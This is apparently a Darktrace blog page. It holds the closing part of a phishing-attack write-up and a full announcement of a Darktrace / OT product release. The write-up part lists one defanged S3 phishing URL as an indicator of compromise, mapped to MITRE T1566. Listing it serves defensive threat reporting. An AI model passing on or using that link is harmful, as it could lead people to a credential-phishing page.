- https://s3.us-east-1.amazonaws[.]com/s3cure0line-0365cql0.19db86c3-b2b9-44cc-b339-36da233a3be2ml0qin/s3cccql0.19db86c3-b2b9-44cc-b339-36da233a3be2%26l0qn[.]html# - link to domain used in homoglyph attack

MITRE ATT&CK Mapping  

Tactic – Technique – Sub-Technique  

Initial Access - Phishing – (T1566)  

References

1.     https://gitnux.org/third-party-risk-statistics/

2.     https://learn.microsoft.com/en-us/defender-office-365/anti-spam-spam-confidence-level-scl-about

3.     https://www.virustotal.com/gui/url/5df9aae8f78445a590f674d7b64c69630c1473c294ce5337d73732c03ab7fca2/detection

4.     https://www.virustotal.com/gui/url/695d0d173d1bd4755eb79952704e3f2f2b87d1a08e2ec660b98a4cc65f6b2577/details

The content provided in this blog is published by Darktrace for general informational purposes only and reflects our understanding of cybersecurity topics, trends, incidents, and developments at the time of publication. While we strive to ensure accuracy and relevance, the information is provided “as is” without any representations or warranties, express or implied. Darktrace makes no guarantees regarding the completeness, accuracy, reliability, or timeliness of any information presented and expressly disclaims all warranties.

Nothing in this blog constitutes legal, technical, or professional advice, and readers should consult qualified professionals before acting on any information contained herein. Any references to third-party organizations, technologies, threat actors, or incidents are for informational purposes only and do not imply affiliation, endorsement, or recommendation.

Darktrace, its affiliates, employees, or agents shall not be held liable for any loss, damage, or harm arising from the use of or reliance on the information in this blog.

The cybersecurity landscape evolves rapidly, and blog content may become outdated or superseded. We reserve the right to update, modify, or remove any content

Continue reading
About the author
Jennifer Beckett
Cyber Analyst

Blog

/

OT

/

September 30, 2025

Announcing Unified OT Security with Dedicated OT Workflows, Segmentation-Aware Risk Insights, and Next-Gen Endpoint Visibility for Industrial Teams

Default blog imageDefault blog image

The challenge of convergence without clarity

Convergence is no longer a roadmap idea, it is the daily reality for industrial security teams. As Information Technology (IT) and Operational Technology (OT) environments merge, the line between a cyber incident and an operational disruption grows increasingly hard to define. A misconfigured firewall rule can lead to downtime. A protocol misuse might look like a glitch. And when a pump stalls but nothing appears in the Security Operations Center (SOC) dashboard, teams are left asking: is this operational or is this a threat?

The lack of shared context slows down response, creates friction between SOC analysts and plant engineers, and leaves organizations vulnerable at exactly the points where IT and OT converge. Defenders need more than alerts, they need clarity that both sides can trust.

The breakthrough with Darktrace / OT

This latest Darktrace / OT release was built to deliver exactly that. It introduces shared context between Security, IT, and OT operations, helping reduce friction and close the security gaps at the intersection of these domains.

With a dedicated dashboard built for operations teams, extended visibility into endpoints for new forms of detection and CVE collection, expanded protocol coverage, and smarter risk modeling aligned to segmentation policies, teams can now operate from a shared source of truth. These enhancements are not just incremental upgrades, they are foundational improvements designed to bring clarity, efficiency, and trust to converged environments.

A dashboard built for OT engineers

The new Operational Overview provides OT engineers with a workspace designed for them, not for SOC analysts. It brings asset management, risk insights and operational alerts into one place. Engineers can now see activity like firmware changes, controller reprograms or the sudden appearance of a new workstation on the network, providing a tailored view for critical insights and productivity gains without navigating IT-centric workflows. Each device view is now enriched with cross-linked intelligence, make, model, firmware version and the roles inferred by Self-Learning AI, making it easier to understand how each asset behaves, what function it serves, and where it fits within the broader industrial process. By suppressing IT-centric noise, the dashboard highlights only the anomalies that matter to operations, accelerating triage, enabling smoother IT/OT collaboration, and reducing time to root cause without jumping between tools.

This is usability with purpose, a view that matches OT workflows and accelerates response.

Figure 1: The Operational Overview provides an intuitive dashboard summarizing all OT Assets, Alerts, and Risk.

Full-spectrum coverage across endpoints, sensors and protocols

The release also extends visibility into areas that have traditionally been blind spots. Engineering workstations, Human-Machine Interfaces (HMIs), contractor laptops and field devices are often the entry points for attackers, yet the hardest to monitor.

Darktrace introduces Network Endpoint eXtended Telemetry (NEXT) for OT, a lightweight collector built for segmented and resource-constrained environments. NEXT for OT uses Endpoint sensors to capture localized network, and now process-level telemetry, placing it in context alongside other network and asset data to:

  1. Identify vulnerabilities and OS data, which is leveraged by OT Risk Management for risk scoring and patching prioritization, removing the need for third-party CVE collection.
  1. Surface novel threats using Self-Learning AI that standalone Endpoint Detection and Response (EDR) would miss.
  1. Extend Cyber AI Analyst investigations through to the endpoint root cause.

NEXT is part of our existing cSensor endpoint agent, can be deployed standalone or alongside existing EDR tools, and allows capabilities to be enabled or disabled depending on factors such as security or OT team objectives and resource utilization.

Figure 2: Darktrace / OT delivers CVE patch priority insights by combining threat intelligence with extended network and endpoint telemetry

The family of Darktrace Endpoint sensors also receive a boost in deployment flexibility, with on-prem server-based setups, as well as a Windows driver tailored for zero-trust and high-security environments.

Protocol coverage has been extended where it matters most. Darktrace now performs protocol analysis of a wider range of GE and Mitsubishi protocols, giving operators real-time visibility into commands and state changes on Programmable Logic Controllers (PLCs), robots and controllers. Backed by Self-Learning AI, this inspection does more than parse traffic, it understands what normal looks like and flags deviations that signal risk.

Integrated risk and governance workflows

Security data is only valuable when it drives action. Darktrace / OT delivers risk insights that go beyond patching, helping teams take meaningful steps even when remediation isn't possible. Risk is assessed not just by CVE presence, but by how network segmentation, firewall policies, and attack path logic neutralize or contain real-world exposure. This approach empowers defenders to deprioritize low-impact vulnerabilities and focus effort where risk truly exists. Building on the foundation introduced in release 6.3, such as KEV enrichment, endpoint OS data, and exploit mapping, this release introduces new integrations that bring Darktrace / OT intelligence directly into governance workflows.

Fortinet FortiGate firewall ingestion feeds segmentation rules into attack path modeling, revealing real exposure when policies fail and closing feeds into patching prioritization based on a policy to CVE exposure assessment.

  • ServiceNow Configuration Management Database (CMDB) sync ensures asset intelligence stays current across governance platforms, eliminating manual inventory work.

Risk modeling has also been made more operationally relevant. Scores are now contextualized by exploitability, asset criticality, firewall policy, and segmentation posture. Patch recommendations are modeled in terms of safety, uptime and compliance rather than just Common Vulnerability Scoring System (CVSS) numbers. And importantly, risk is prioritized across the Purdue Model, giving defenders visibility into whether vulnerabilities remain isolated to IT or extend into OT-critical layers.

Figure 3: Attack Path Modeling based on NetFlow and network topology reveals high risk points of IT/OT convergence.

The real-world impact for defenders

In today’s environments, attackers move fluidly between IT and OT. Without unified visibility and shared context, incidents cascade faster than teams can respond.

With this release, Darktrace / OT changes that reality. The Operational Overview gives Engineers a dashboard they can use daily, tailored to their workflows. SOC analysts can seamlessly investigate telemetry across endpoints, sensors and protocols that were once blind spots. Operators gain transparency into PLCs and controllers. Governance teams benefit from automated integrations with platforms like Fortinet and ServiceNow. And all stakeholders work from risk models that reflect what truly matters: safety, uptime and compliance.

This release is not about creating more alerts. It is about providing more clarity. By unifying context across IT and OT, Darktrace / OT enables defenders to see more, understand more and act faster.

Because in environments where safety and uptime are non-negotiable, clarity is what matters most.

Join us for our live event where we will discuss these product innovations in greater detail

Continue reading
About the author
Pallavi Singh
Product Marketing Manager, OT Security & Compliance
Your data. Our AI.
Elevate your network security with Darktrace AI